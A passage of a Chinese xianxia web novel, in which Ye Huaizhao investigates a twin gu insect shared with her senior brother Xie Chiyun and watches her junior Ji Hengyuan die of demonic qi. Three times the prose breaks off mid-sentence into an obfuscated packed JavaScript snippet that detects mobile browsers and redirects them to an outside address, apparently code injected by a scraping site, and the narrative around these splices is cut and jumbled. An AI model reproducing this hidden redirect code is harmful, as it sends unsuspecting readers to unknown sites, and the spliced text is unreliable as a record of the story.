叶怀昭凑过去,扒着竹架的边缘可怜兮兮说:“师尊,你的小徒弟快没命了,快救救我。” 她叽里咕噜地把自己从第一天进入丹河秘境到最后抓到黑衣男子的事情飞速说了一遍,甚至好心地将周鹤亭的部分从叙述中摘去了。 时闻筝显然也不在意这部分。 他拨弄草药的手指微顿,随后缓慢地抬眼,和竹架后的叶怀昭对视。 而后,他隔空狠狠敲了一下少女的额头。 叶怀昭:“嗷!” 这一下根本就没手软,叶怀昭的额头顿时红了一片,疼得她眼泪都飚了出来。 姿容如玉的颂慈仙尊冷笑一声,俊美风流的桃花眼似笑非笑:“活该,我教你的那些东西都喂狗吃了?” “师尊,你不能见死不救啊。”叶怀昭吸了吸鼻子,可怜巴巴说。 少女趴在竹架后,只露出了半张脸,湿润的眼眸漆黑明亮,微微蹙眉时简直能令任何一个铁石心肠的人心软。 谢迟云在旁给她打着圆场:“这蛊虫是针对师妹而下的,着实令人防不胜防。” 叶怀昭猛猛点头,伸出两根手指对天发誓:“我今后一定好好学巫蛊之术,再不因不喜而偷懒了!” 时闻筝瞥了叶怀昭一眼,少女对他露出一个笑脸。 “过来。”他终于说道。 叶怀昭终于从竹架后绕了过来,和谢迟云一样乖乖站在时闻筝的面前。 淡青色的灵力自他的指尖脱出,雾霭一般环绕叶怀昭,她早已熟悉了来自自己师尊的灵力,任由那道淡青色的雾霭进入灵脉,只是忽然想起来一件事情。 叶怀昭看向谢迟云:“你不许——”拒绝我师尊。 她的话卡了一半,没有任何反抗的谢迟云无声地看着她,眼中有些许困惑。 叶怀昭默默将后半截话咽了回来。 他到底是嫌弃她学艺不精还是不相信她。叶怀昭在心中嘀咕,怎么在枯荣山上时他就死活不让她探查他的灵脉。 她想了一会,又觉得没有意义。 反正等师尊把他们两人之间的蛊虫解开,送完生辰礼后他们也不会再有什么交集,她想这些事情做什么。 只是上天注定不会让叶怀昭的心愿实现的这么轻松。 “什么?师尊你也不知道这只蛊虫是什么?!” 叶怀昭觉得天塌了。 大名鼎鼎、无所不能、妙手回春的颂慈仙尊怎么会不知道这小小的蛊虫是什么?! “我可没说过自己无所不能,别捧杀你师尊,”时闻筝瞥她一眼,“人身之病变端无穷,更遑论本就由人炼化的蛊虫。” 叶怀昭可怜巴巴望着他:“那怎么办,难道我要一辈子在体内养一只蛊虫?” 也不是说不能养,只是万一她哪天在心里说谢迟云的坏话被他听到了怎么办? 时闻筝道:“这是两只双生蛊,你师兄方才说的没错,这蛊虫是由你的血液灵力滋养而生,是专门针对你的蛊虫。你对蛊虫的任何灵力攻击都会化为它生长的养料。” 说到这里,他在叶怀昭身上扫了一眼,面色稍霁:“还行,没有蠢到试图用灵力直接剥离。” 叶怀昭本来在心虚,她当初刚被蛊虫上身时其实动了用灵力直接剥离的念头,好歹最后是悬崖勒马了。 然而视线一转,落到谢迟云身上时思绪忽地一顿。 等一下。 如果是双生蛊,不应当只有谢迟云能听到她的心声,而是她也应该能听到谢迟云的心声啊。 为什么她一直听不到谢迟云的心声? 他的情绪难道从始至终都没有波动过吗? 叶怀昭的心神偏移一瞬,很快又被她师尊的话拉了回来。 “你们体内的这两只蛊虫一直在缓慢生长,虽说是汲取灵力,但因为体量过于微小,所以不会对你们施法造成什么妨碍。” 时闻筝淡声道:“稍后你去我屋中拿药,将那蛊虫携带的毒性压制住,至少一年内不会有什么威胁。” “唯有一点,”颂慈仙尊扫过谢迟云,“蛊虫对灵识非常渴望,待它成熟之际,定然会威胁你们的灵识。” 甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575511|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对他探入的灵识都有些蠢蠢欲动,更遑论作为蛊虫宿主的灵识了。 谢迟云无声地与他对视。 叶怀昭没注意到他的目光,她若有所思道:“既然这样,是不是说明它的弱点也是我们的灵识?” 正所谓世间百毒,五步之内必有解药。要不是担心贸然出手会让他们自己陷入危险,叶怀昭甚至想亲手试验一番自己的灵识能不能杀死蛊虫。 “蛊虫的具体情况我还需要翻阅古籍,”时闻筝将目光挪到叶怀昭身上,淡淡道,“总而言之这不是毒蛊,你们暂且不用过于担心。” 叶怀昭若有所思。 虽然蛊虫没能剥离,但至少得知了没有性命威胁,也算是了却一桩心事。 谢迟云似乎有事要忙,查完蛊虫后很快便离开了,留下叶怀昭一人待在西翠谷。 “给谢迟云的生辰礼寻到了?”时闻筝坐在白藤交椅上,端起旁边石桌上的茶盏轻轻抿了一口,随意问道。 叶怀昭对照着他潦草的字迹在瓶瓶罐罐中挑拣药材,手指从珍贵的莲华枝上划过,闻言点点头:“找到了——师尊,我送坎水剑意应当没关系吧?应该和他修行的剑法不冲突吧。” 谢迟云是叶珩的徒弟,他修行的剑法是由长风门掌门独创的无象剑法,讲究无象之象、玄虚无形,手中无剑而道心构剑。 叶怀昭自小便修习这套剑法,可她确实没有什么剑术天赋,直到现在也难以悟其根本,从未用过真正的“无剑之剑”。 “不冲突,”时闻筝指尖点着白瓷的边缘,略微掀起眼睑看她,嗤笑一声,“更何况你送什么他都不会拒绝的。” 叶怀昭好奇问道:“就算送他我随手乱画的废纸也可以吗?他真的不生气?” 时闻筝:“你还在意他生不生气?” 叶怀昭眨了眨眼,默默将几株白参放进盒中。 时闻筝看着她不太高兴的表情,只淡淡道:“他只是你师兄,又不是你的亲哥哥,不愿意跟他玩就不跟他玩,蛊虫的事情我会替你解决。” 他似乎还是拿她当小孩子。 叶怀昭鼓了鼓脸,她也不好说自己对谢迟云矛盾又纠结的心理,只能含糊地混了过去。 她心中郁闷,于是没挑多久便转头回了她在西翠谷的寝屋,洗漱一番后倒头就睡。 这一次梦里倒是没再回想起什么过去的事情,叶怀昭第二日照常醒来,和时闻筝用早膳。 她咬着筷子,忽然想起来什么似的问:“我师兄也去丹河秘境找过丹河木吗?我见他登枯荣山的样子倒是挺熟练的。” 时闻筝说:“你第一次去丹河秘境就是他带你去的,你当时才十二岁,回来后你们两个被你爹好一通骂。” 叶怀昭咀嚼饭菜的动作一顿。 这又是她不知道的记忆。 她记得自己第二次、第三次、第无数次前往丹河秘境,唯独不记得自己第一次去丹河秘境。 叶怀昭算了算年龄,如果她十二岁,那谢迟云就是十六岁,而丹河秘境是一个接近天罡境才建议前往的秘境,他们这顿骂挨得不冤。 只是她有几分惊异:“我师兄竟然答应带我去?” 谢迟云小时候也这么叛逆吗? 时闻筝幽幽盯着她:“你对你自己小时候的烦人程度就没有一点认知吗?” 他的目光太有压迫性,看得叶怀昭挪开视线,又听时闻筝道:“你不仅让他带你去了丹河秘境,还和他打了什么赌,最后你们两个平局,互相包了对方在路途中的花销回来。” 叶怀昭:“所以我师兄买了什么?他该不会是狠狠宰了我一顿吧。” “你师兄买了什么回来我怎么知道,我又不是他师父,”时闻筝瞥她一眼,轻哼一声,“但你倒是狠狠宰了他一顿,回西翠谷时带了整整三大箱东西。” 叶怀昭:“……” 她飞速吃完了早膳,一抹嘴站起身,换了一身衣服后重新走出门。 端着碗筷的时闻筝看着扎着高马尾,一身轻便劲装的少女,问她:“又去哪儿鬼混?” “师尊你怎么这么说我!”叶怀昭伤心欲绝一般擦了擦不存在的眼泪,才在时闻筝似笑非笑的眼神中,老老实实说,“要去找给我下蛊的凶手。” 求人不如求己,叶怀昭决定主动出击。 9. 第九章 按照昨日师尊的分析,这只蛊虫是以叶怀昭为母体培育而成的,也就是说,下蛊之人应该对她极为熟悉,或许就是她身旁的亲近之人。 叶怀昭生于长风门、长于长风门,她的亲近之人不是长风门的一众师长,便是她的那些同门。 但叶怀昭可以肯定,真正的养蛊之人绝对不是这些人。 因为这些人养出来的蛊虫绝对不会让她师尊连辨认都辨认不出来,他们没有这个能力。 叶怀昭认为,对她下蛊的人至少有两人——一个潜伏在她身旁,一个躲在暗处养蛊。 出于各种各样的原因,叶怀昭暂且没去找自己身边这个凶手,而是出了宗门,向西御风一刻钟后落到一处人烟罕至的树林中。 她像是来过无数次一样熟稔地在树林中穿梭,路过三次长得一样的古怪高石后,没有边界的树林尽头忽地显出一条小路。 叶怀昭踏上小路的那刻,嘈杂的人声顿时潮水般灌入耳中。 深林中的集市显露在她的眼前。 蹲守在集市入口的人瞬间向叶怀昭涌过来:“哟,这位仙君可是初来乍到?只要三十灵石,鄙人带您逛遍这林中乡,您想要什么都给您找到!” 叶怀昭:“三十灵石?我上次来你还收二十灵石。” 那人:“嗐,这不是长风门又带人剿了一处黑市嘛,咱们这林中乡可是南境中最大的黑市,我们也是在顶着被那群修士抓住蹲大牢的风险来做生意的嘛!” 他看了看叶怀昭,自认为宽容道:“既然是见过的仙君,那鄙人这次给您算个回头价,只要二十五灵石!” 叶怀昭呵呵冷笑,心想还二十五灵石,要是我把脸上的伪装一撤,我都能让你倒赔我一百灵石。 她拨开拦路的人群走进宽敞长街,沿路皆是售卖各种稀奇古怪玩意的商贩,无论是卖家还是买家皆是和她一样,对身形容貌进行了伪装。 叶怀昭目的明确,直奔长街尽头的钱庄。 进入人山人海的店中,她将手中令牌一拍,冷静说:“把你们老板叫来。” 一刻钟后,素色衣衫的秀丽女子亲自斟茶,在袅袅白雾升起的同时,挥手让后院中的仆役散去,恭敬问道:“叶姑娘大驾光临,不知所为何事?” 南境最大黑市的主人注视着自己面前的少女,试探道:“山抚洞的那处黑市坏了规矩,素水已派人将痕迹都扫干净了,具体情况也已经汇报给叶掌门——莫不是还有什么差错?” 叶怀昭端起茶盏浅浅抿了一口,是她喜欢的花茶。 “我相信阿水的办事能力,来找阿水是为另一件事。” 叶怀昭道:“从去岁到现在,长风门附近有没有会医术、巫蛊之术,并且行踪异样的陌生人停留?” 长风门是南境各门派之首,负责维持修真界在南境的和平,对凡间城镇亦有庇护之责。 黑市在修真界不稀奇,三教九流各方人马在黑市交易置换,每日都有无数消息传入黑市,再从黑市传出。 只要不太过分没有越线,修真界的各门派对黑市一向是睁一只眼闭一只眼,默许其存在的。 而南境最大的黑市林中乡,便是长风门暗地里的情报枢纽,监管收集所有不便于放在明面上的事情。 林中乡的办事效率极高,叶怀昭慢慢喝完一杯茶的功夫,便有人将需要的情报整理了出来,交到了她的手中。 叶怀昭认真翻阅了一番,而后将目光锁定在其中一页上。 这是个一年前从西境来的药贩,进入南境后便一直在各处黑市售卖收购药材,除了半年前因为要价太高被人砸过一次场子外,看起来十分平平无奇。 但叶怀昭还是发觉了异样。 她单手支颐,向素水问道:“他每隔十日就要去一趟临江楼,都是自己一个人吗?” 临江楼是长风门附近城镇中很有名的一家酒楼,因为其物美价廉,不少宗门弟子外出时都会选择在此用膳闲谈。 这里经常聚集大量长风门弟子。 素水:“至少在进门时他是一个人,但雅间中有没有人就不得而知了。” 叶怀昭沉思片刻,做出决定:“带上人,我要去找这个药贩。” - 两刻钟后,叶怀昭一脚踹开紧闭的大门,她身后的修士们一拥而入,各自分散开来去搜查屋舍。 素水庭院中转了几圈,而后在书房中找到了叶怀昭。 “我们来晚了,这个药贩离开至少有七日了。”她冷静说道,“他似乎是得到了什么消息所以匆匆离开的,屋中很多东西都没来得及收拾。” 叶怀昭思索间,又有一个修士捧着几个罐子走进来。 “小姐,我们在后院柴房中发现这个。” 他将罐子放下,先是在周围落下了几道封锁的术法,才隔空用灵力打开上方的盖子。 空气流动,密密麻麻的蛊虫瞬间暴动,争先恐后要向外爬,却被无形的屏障拦住,于是挨挨挤挤地铺满整张屏障,看起来令人毛骨悚然。 叶怀昭最讨厌蛊虫了。 但她还是强压恶心地扫了几眼,敏锐的感知让她很快便发觉其中几只甚至带有魔气。 喔,看来这人胆子还挺大,不仅挣修真界的钱,就连魔界的钱也挣。 叶怀昭在心中嘀咕着,她正想让人把那几只携带魔气的蛊虫单独收起来,目光忽地一顿。 素水顺着她的目光看去——那是晾晒在窗沿上的药材。 药材有什么奇怪的吗? 在她困惑的目光中,叶怀昭走向窗沿,伸出手指拨了拨上方干枯脆弱的药材,精准地从中抽出一根极不显眼的灰褐色细长枝条。 素水看不出来,可叶怀昭是个医修。 她知道,这是干枯的莲华枝。 在这个时节中,只有长风门的药田有种植。 只有药堂及西翠谷的弟子能够随意进出药田。 某个念头在叶怀昭的心中逐渐清晰。 她忽然出声道:“你方才说这个人至少离开了七日,那七日前,长风门有什么大事发生吗?” 药贩跑路不奇怪,但他是得到了什么消息所以跑路了? 七天前叶怀昭还没回长风门,这几日发生的事情她还没来得及去找她爹询问。 素水思索片刻,眼神忽地有几分微妙。 她斟酌着开口:“七日前,是您的大师兄,谢迟云离开长风门的时候。” “也是他下令将药堂堂主三弟子季衡远,关入封魔潭下狱的时候。” - 让素水带人搜寻药贩的踪迹后,叶怀昭立即动身返回长风门。 她怎么也没想到会得到这样一个答案。 长风门共有十六处禁地,除十一处禁地藏有秘宝外,剩余五处禁地只有关押罪犯的作用。 而封魔潭便是那五处禁地中,唯一一个关押本派弟子的牢狱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575512|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但凡被关入封魔潭的人不死也得脱一层皮出来。 季衡远在七日前犯什么错了? 谢迟云把她师弟关入封魔潭为什么一直瞒着她? 叶怀昭已经平息的怒火在路途中节节攀升——就算季衡远有错,那也是他们西翠谷的事情,谢迟云到底哪来的权力越过她阿爹和她师尊把人关进封魔潭的? 而且他凭什么一直不告诉她! 叶怀昭一路风驰电掣,不到一刻钟便冲回了东云峰,马不停蹄地便去掌门处理事务的议事殿。 门前没有护卫,不知是不是被阿爹提前支开了,只有一道不可追踪不可窥探不可闯入的阵法落在门前,边缘流淌着繁复的符文。 叶怀昭畅通无阻地越过阵法推开大门,恰好听到一道冷淡肃穆的声音说:“……既如此,那便按照门规处罚:抹去内门弟子身份,送入封魔潭受半年刑罚后,废除修为,逐出师门。” 叶怀昭想也不想:“——等一下!” 殿内四人同时向她的方向看来。 面色苍白跪在地上的少年猛地抬头,他的眼眶发红,不可置信地注视着快步走进来的少女:“……师姐!” 叶怀昭目光迅速地在他身周过了一圈,除了面色憔悴外没瞧见有什么受刑的伤口,这才在心中松了一口气。 她收回目光,正要开口质问时,目光措不及防与谢迟云相撞。 他依旧身着昨日分别时的月白色衣袍,姿态与之前一般无二,可此时他站在空旷冰冷的殿内,逆着光望过来时半张脸隐没于黑暗,只有一双清透的眼眸显出色彩。 此时的谢迟云无比接近在枯荣山那晚,他发觉叶怀昭身中蛊虫时的样子。 而下一刻,面容秀雅的男人牵动唇角,对匆匆闯进来的叶怀昭露出一个毫无异样的完美微笑:“怀昭师妹。” 他在微笑,可直觉告诉叶怀昭,这个人现在并不高兴。 叶怀昭有很多师兄,谢迟云也有很多师妹。 可自叶怀昭醒来后,他只愿意叫她“师妹”。 “师妹”从不是一个唯一的称呼,但在谢迟云这里,“师妹”二字似乎就是叶怀昭唯一专属的。 叶怀昭本要说出的话堵在喉咙,她看着谢迟云的脸,却因“怀昭师妹”四个字眼前闪过模糊的画面。 那是看不清任何时间地点的狭窄角落,只有一缕黯淡的光自两人的脸庞划过,落到少女身后的巨大花架上,尘土飞扬于光隙中。 她感受到了愤怒,听到自己说:“谢迟云,你只是我的师兄,你还当自己算什么?你以为我爹喜欢你,你就真的是我的哥哥吗?你凭什么管我?!” 叶怀昭透过自己的眼眸,看到了没有笑容、没有表情、像是猝然被抹平了所有情绪的谢迟云。 他的五官样貌比现在更柔和青涩一些,没有束发戴冠,冰凉的发丝落在叶怀昭揪住他衣襟的手背上,缠绕着落入她的指缝,像是阴冷的蛇类一点一点,圈住猎物。 幽幽的银光划过谢迟云的眼瞳,寒冰慢慢凝结他浅色的瞳仁。 他轻轻扯起唇角,冰冷地含笑说道: “师兄这个身份不足以,师弟就可以吗?” 他垂首,湿润露水自蜿蜒的藤枝坠落,被土壤无声地吞噬。 谢迟云似笑非笑:“还是说,你只是单纯厌恶我呢,怀昭师妹?” 这一瞬间的神色与现实重叠。 叶怀昭猝然顿住脚步。 10. 第十章 季衡远是药堂堂主的亲传徒弟,虽说比叶怀昭年长一岁,但因为辈分小,季衡远依旧是她的师弟。 据师尊所说,她小时候性情顽劣,最喜欢偷偷溜进西翠谷后山中玩,有半数都是季衡远将她带出来。 十六岁前的很多记忆都被朦胧的雾气遮挡,可十六岁后的记忆是清晰的。 她断断续续地醒来,见到的第一个人永远是用关切的目光注视着她的青衫少年。 他和她说起他们过去经历的事情,说他初入内门时人生地不熟,傻傻地闯进了颂慈仙尊的地界,在阵法攻击狼狈之际,被她所救。 说他经常去后山采药,偶尔会撞见来后山撩猫逗狗的小师姐,被她威胁着不许告诉颂慈仙尊。 又说她小时候总是和掌门吵架,一吵架便躲到西翠谷好几天不出去,颂慈仙尊让他来给她送饭,他推开门,发现哭得眼睛红肿的师姐。 桩桩件件,一点一点填充叶怀昭空白的记忆。 而现在,那空白的记忆中又多了一笔。 ——谢迟云不喜季衡远。 叶珩坐在高位,他淡淡瞥了一眼忽然闯入的少女,那双与她相似却更加深邃凌厉的眼眸微眯,没发觉她的情绪波动,只当她是想为季衡远求情:“怎么,你有异议?” 少女的脚边的季衡远狼狈不堪,身上的青衫落满灰尘,眼眸湿润。 他伸出手,像是想抓住她的衣角,又生怕将其玷污一般迟疑地收回手,只仰头无措而畏惧地说:“师姐,师姐你救救我!大师兄说我窃取禁地秘宝——我当真没有啊师姐!” 叶怀昭从那一刹那的回忆中抽离出来。 她本是来兴师问罪的,那措不及防回想起来的记忆完全打断了她的情绪,脑海中似乎还停留着谢迟云冰冷含笑望着她的样子。 她的大脑乱糟糟的,勉强抓住了重点。 “窃取禁地秘宝?”她稳住思绪,回神重复了一遍他的话。 许堂主冷哼一声,没等季衡远回答便道:“十四日前,这孽障趁着禁地守卫交班的间隙偷偷潜入禁地,用禁术破开阵法,意图将禁地中的封灵镜窃走,被迟云当场抓获。” ——十四日前,正是叶怀昭前往丹河秘境的前一日。 季衡远一昧地摇头,他满脸泪痕,像是已经放弃说服其他人一样,只一声一声地、哽咽地唤道:“师姐、师姐……我没有,你相信我……” “你还敢狡辩!”许堂主骂道,“你若是心中无愧清白,怎么会在事情败露的第一时间试图攻击目击者?怎么会想要回屋中销毁破开阵法的禁书证据?” 她看着自己平日里最省心乖巧的徒弟,眼中满是痛心和失望:“你多日不去听云堂听课,我只当你是少年心性贪玩,何曾想你竟然敢闯出这样的大祸!” “你根本不配称我一句师父!” 许堂主越想越气,恨不得时间倒流自己从未收过这个徒弟。 南石峰的宗主近些年有驾鹤登仙的预兆,那么多双眼睛盯着那个位置,季衡远偷窃禁地秘宝的事情一出,许堂主几乎已经能预料其余几个堂主会怎么利用此事将她拉下马! 思及此,她看向季衡远的眼神越发愤怒。 “好了。”叶珩像是不知道她为何着急和季衡远撇清关系一样,只垂眼去看站在阶下的女儿,“季衡远私闯禁地那夜有留影珠记录——迟云。” 谢迟云拢袖而立,面色依旧平静,只是眼珠微动,几颗留影珠慢慢飘至叶怀昭的面前,记录的图景在灵力驱动下飞速变化。 这的确是无可置喙的证据。 叶怀昭的眸底映着一幕一幕闪过的图画,那个与她记忆中毫不相同的青衫少年双目赤红,面容扭曲地与一身月白长袍的男人搏击,所用术法无不是直攻命门、狠戾暴虐。 他手中握有的封灵镜在怀中散发着柔和的白光,却在谢迟云即将夺得的前一瞬,凭空消失不见。 季衡远被闻讯赶来的弟子按在地上。 留影珠柔和的光落在少女的身上,跪在地上的少年卑微地自上而下仰视着她。 他看不见叶怀昭眼底的神色,却看到她慢慢松开抚上左手银镯的手指,于是伶仃精美的银环下坠,磕碰出微弱而清脆的一道声响。 那一声脆响,像是寒冰破碎、丧钟长鸣。 季衡远隐藏在衣袖下的手指缓缓收紧,指尖深深陷入掌心,掐出泛血的印记。 他的心一寸一寸地下沉。 她看到了。 她知道了。 宫殿中寂静无声。 季衡远忽然觉得自己浑身发冷。 他与谢迟云冷淡的目光对视,巨大的荒谬空茫陡然将他淹没。 他是故意的。 ——他是故意让师姐看到他这幅丑态的! 不知过了多久,一道颤抖、破碎的声音嘶哑地响起。 “……凭什么。” 季衡远忽地伸出手,拽住了少女的衣摆一角。 少年抬起头,脸上的一切懦弱畏惧被执拗的疯狂撕碎:“明明,明明这一次是我在你的身旁,凭什么还是不行!” 季衡远是个很普通而平凡的弟子。 他自九岁哪年拜入长风门后,便勤勤恳恳地修炼,在修仙之路上跌跌撞撞地奔跑。 他的修炼天赋不好不差,与周围同门相处也是不好不差。他胆小怯弱,很多时候就连他的师兄师姐们都记不起来自己还有一个安静得像是根本不存在似的小师弟。 他是长风门中最常见的那一类弟子:安静、无趣、毫无惹眼独特的地方。 他偶尔也会想,是否天道让他走运进入长风门,只是为了让他当一个旁观他人光芒、适时对比衬托、可有可无的垫脚石? 毕竟,在那些天资聪颖的同门面前,季衡远是那么寻常。 他像是路边随处可见的一颗石子,随手捡起,随手丢开,混在一堆石子中没有任何稀奇之处。 ——只有西翠谷颂慈仙尊的小徒弟,能一眼注意到他。 她说:你从来都不是可有可无、无足轻重的。 她说:你是我的师弟,是我独一无二、不可替代的衡远师弟。 叶怀昭的人生是绚烂光彩的,可对季衡远而言,他人生中唯一一点光彩,只有那个毫不讲理、莽撞地闯入他的世界的叶怀昭。 叶怀昭像是有点诧异,圆润的眼瞳微微睁圆。 她没有将少年攥住她衣摆的手拉下,而是就着这个姿势蹲下身,盯着少年震颤的瞳孔。 叶怀昭知道自己对他人的情绪感知迟钝,她至今也记不起来十六岁前的大半记忆。 可她不是傻子。 少女微微抿唇,将自己垂首时一缕滑落的发丝别至耳后,轻声道:“师弟,不喜欢就是不喜欢,即便重来一次也不行……那些手段,也只会让我厌恶。” ——“师弟,我不喜欢你。” 同样的声音在季衡远的脑海中回响,他恍惚间,似乎再次感受到了曾经那敲碎骨头、剜心剖腹的痛苦。 他听到了世界轰塌的声音。 直到此时,身穿金纹玄衣坐在高位的掌门才道:“擅闯禁地、偷练禁术、残害同门,每一样都是重罪。” 他的神色平静,只对谢迟云淡淡道:“把他送去封魔潭。” 谢迟云没有动。 叶珩的视线微转,再次出声:“迟云。” 谢迟云保持安静的沉默。 此时,就连许堂主也将目光看了过来。 在这诡异的气氛中,叶怀昭的心忽地咯噔一声。 谢迟云的眼眸一错不错注视着对面的少女。 她似乎是从山林里匆匆赶来的,轻便劲装的衣摆微微濡湿,乌黑的长发挽起,几缕发丝扫过脖颈间未被衣领遮挡,莹白如玉的肌肤——以及忘记摘下,镶嵌绿松石的精巧璎珞。 他盯了片刻,忽地轻笑一声:“我想,师妹来此应当不是为衡远师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶怀昭的听白剑替她拦住了凌厉如刀锋的气流,她不自觉地微微睁大眼睛,看见妄图袭击她的少年被上千道银色灵力雷柱钉在地上。 他的面容扭曲,眼睛是已经完全被魔气浸染的赤红,被雷柱洞穿的身躯条件反射地抽搐跳动,却拉扯出更加血腥残忍的痕迹,漆黑邪恶的烟雾自伤口处向外逸散。 “师姐!师姐救救我!”他哭泣着,变了调的声音尖叫着向他最信任的人求救,皮肉不断向下脱落,转瞬间就半边身子已经变成了白骨。 修仙之人亦可入魔,可若是心性不足以压制魔气,那便会被魔气烧灼。 凭空燃起的漆黑火焰吞噬季衡远。 许堂主霍然站起身,她下意识想去查看季衡远的情况,被坐在高位的掌门淡淡瞥了一眼。 那是饱含冷漠警告意味的目光。 宫殿内,谢迟云走到叶怀昭的身旁。她被叶珩的灵力拦住,只能眼睁睁看着他接近。 他的手中依旧有银色闪电发出细微的嘶嘶声,只在刑罚时使用的雷刑没有停止,身后是季衡远凄厉的惨叫。 他对叶怀昭温声道:“师妹,你可有伤到?” 叶怀昭:“……” 她像是第一次认识他一样,眼睛一错不错地盯着他温润清俊的面容。 一道无甚情绪的陌生声音,随着她心脏鼓动的频率,叩击着她的心门。 那道声音说: 【两年前就该杀掉他的。】 叶怀昭的手脚发凉,在急速变快的心脏跳动声中,与微笑注视着她的风光霁月的师兄对视。 谢迟云看着她,忽地意味深长地眯了眯眼眸。 叶怀昭听到他在心中慢慢问道: 【听到什么了,师妹?】 11. 第十一章 叶怀昭耳边的惨叫声越来越小,越来越微弱,直至无声。 季衡远死了。 他已被逐出师门,没有亲人,没有好友。魔气吞噬而亡甚至连尸骨都没有留存,留在这世间的唯有地上拖曳爬行的漆黑印迹,五指向叶怀昭的方向伸出,深深地刻入青色砖石。 她望着那漆黑的印迹,脑中不断回响的却是谢迟云最后说的那句话。 她能听到谢迟云的心声,是因为两人体内的蛊虫。 他在自己的生命被威胁时都没有将心声暴露给她,为什么会在这个时候控制不住自身的情绪? 他对季衡远的杀意究竟有多重? 叶怀昭不知道。 她本以为经过丹河秘境这一遭,她已经对谢迟云是个怎样的人探究得很清楚了。 可直到现在她才恍然发觉。 她根本就不了解自己这个师兄。 许堂主脸色极为难看。 自己的徒弟偷窃禁地珍宝已经足够让她颜面尽失了,更遑论徒弟不仅入魔,竟然还对掌门的独女下蛊,临死前还要拉着她同归于尽! 许堂主简直要窒息在殿中这冷凝的气氛中,此时莫说什么南石峰的宗主之位了,掌门能不迁怒到她这个师父身上都算是他老人家心胸宽大。 正当她绞尽脑汁思考怎么先从这诡异气氛中脱身时,叶珩平静的声音自头顶传来:“许堂主,劳烦你去戒律堂一趟,告知他们季衡远心生贪欲入魔而死,将其惩罚的结果布告出去,以示警戒。” 许堂主如蒙大赦,领命后转身就走,不带一丝一毫的留恋。 她的身影消失在殿门之后,许珩用目光轻点叶怀昭:“你师兄说的蛊虫是怎么回事?” 叶怀昭低头,不自觉地绞着双手:“不是什么大事啦……那个蛊虫不危及性命。” 她将自己在丹河秘境的事情叙述了一遍,语气非常轻描淡写,末了悄悄用余光去看自己亲爹的脸色。 叶珩紧紧皱着眉:“都说了你大病初愈不可过多动用灵力,你偏不听,还一定要去丹河秘境,那丹河秘境中有什么东西值得你谁都不带一个人也要去的?” 他说着,抬手就要传音给时闻筝让他过来看看,被叶怀昭连忙打断:“阿爹我没骗你!我之前和谢师兄去找过师尊了,是师尊亲口说不危及性命的!” 叶怀昭没告诉他自己去丹河秘境是为了寻找坎水剑意。 可无论是谢迟云还是叶珩都是剑修,她生怕他再多说两句就会提起丹河秘境中的坎水剑意,到时候她之前的努力就全部付诸东流了。 叶怀昭打着哈哈,强行转移话题:“季衡远死了,但是和他交易的那个药贩还活着,说不定封灵镜此时就在他的手中。” 叶珩看了叶怀昭几眼,终究还是冷哼一声,放过了她。 “偷窃封灵镜的人还未离开南境。”他说,“有魔界中人潜伏于长风门附近。” 叶怀昭心道一声果然。 能让她师尊都无法剥离的蛊虫,必然不是什么通过普通方法饲养的蛊虫,即便那个不知踪迹的药贩不是魔族,也一定和魔族有联系。 就是不知道季衡远到底和那个药贩交易了什么,值得他要拿长风门禁地的封灵镜作为代价去交换。 叶怀昭兀自神游了一番,回过神时殿内其他两人就已经商议好了通缉令的事情。 她不想听腾出手的叶珩唠叨,随便扯了个理由,没等亲爹回答便一溜烟跑出议事殿。 没过一会儿,谢迟云也走了出来。 他刚刚迈出议事殿的门槛,就被等在一旁的少女揪着衣服瞬影转移至她的屋舍,大门嘭地一声在两人的身后合上,谢迟云后背一痛,被叶怀昭揪着衣襟怼在墙上。 他吃痛般地蹙眉,垂眼时却看到少女因为动作而露出的一截皓白手腕。 叶怀昭的左手和右手各戴了两串银镯,只要轻微动作,便有伶仃脆响。 而此时,揪住他衣襟的右手腕上两道银镯滑落,露出下方半遮半掩的一圈红痕。 属于另外一人的指印烙在白皙如玉的肌肤上,边缘泛着与之格格不入的红肿,嚣张地一路蔓延至衣袖遮挡的腕骨之下。 谢迟云知道此时的叶怀昭正处在气头,她在盯着他的所有神色变化。 可他还是不合时宜的走神一瞬。 ……之前她的身上也这么容易就能留下痕迹吗? 叶怀昭不知道他的心中在想什么。 她只是拧着眉,冷声质问道:“你为什么想让季衡远死?” 谢迟云缓慢地眨了一下眼睛。 那瞬间的晦暗不清一闪而过,所有不应在此时表现出来的情绪被他收于心底。 他说:“不是我想让他死,而是他一心求死。” “有我和我阿爹在,他不可能求死成功,”叶怀昭没有被他说服,而是一针见血道,“除非你对我阿爹说季衡远对我下蛊。” 没人比叶怀昭更清楚她阿爹对巫蛊之术的厌恨了。 因为她的母亲便是在她五岁时因蛊毒而死。 在叶珩从谢迟云的口中得知季衡远对她下蛊的那刻,季衡远就必死无疑。 他不会允许她去救季衡远。 